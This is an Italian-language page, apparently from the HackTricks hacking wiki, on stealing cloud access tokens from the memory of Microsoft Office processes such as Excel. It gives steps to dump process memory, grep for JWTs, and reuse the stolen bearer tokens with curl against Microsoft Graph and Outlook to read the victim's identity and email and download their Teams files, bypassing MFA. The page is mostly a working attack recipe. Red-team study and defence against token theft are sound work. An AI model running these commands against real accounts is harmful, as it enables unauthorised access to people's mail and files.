Az - Processes Memory Access Token

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informazioni di base

Come spiegato in questo video, alcuni software Microsoft sincronizzati con il cloud (Excel, Teams...) potrebbero memorizzare i token di accesso in chiaro nella memoria. Quindi, semplicemente dumpando la memoria del processo e greppando per i token JWT potresti ottenere accesso a diverse risorse della vittima nel cloud bypassando l'MFA.

Passaggi:

  1. Dumpa i processi di excel sincronizzati con l'utente EntraID con il tuo strumento preferito.

  2. Esegui: string excel.dmp | grep 'eyJ0' e trova diversi token nell'output

  3. Trova i token che ti interessano di più e esegui strumenti su di essi:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Nota che questi tipi di token di accesso possono essere trovati anche all'interno di altri processi.

Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Last updated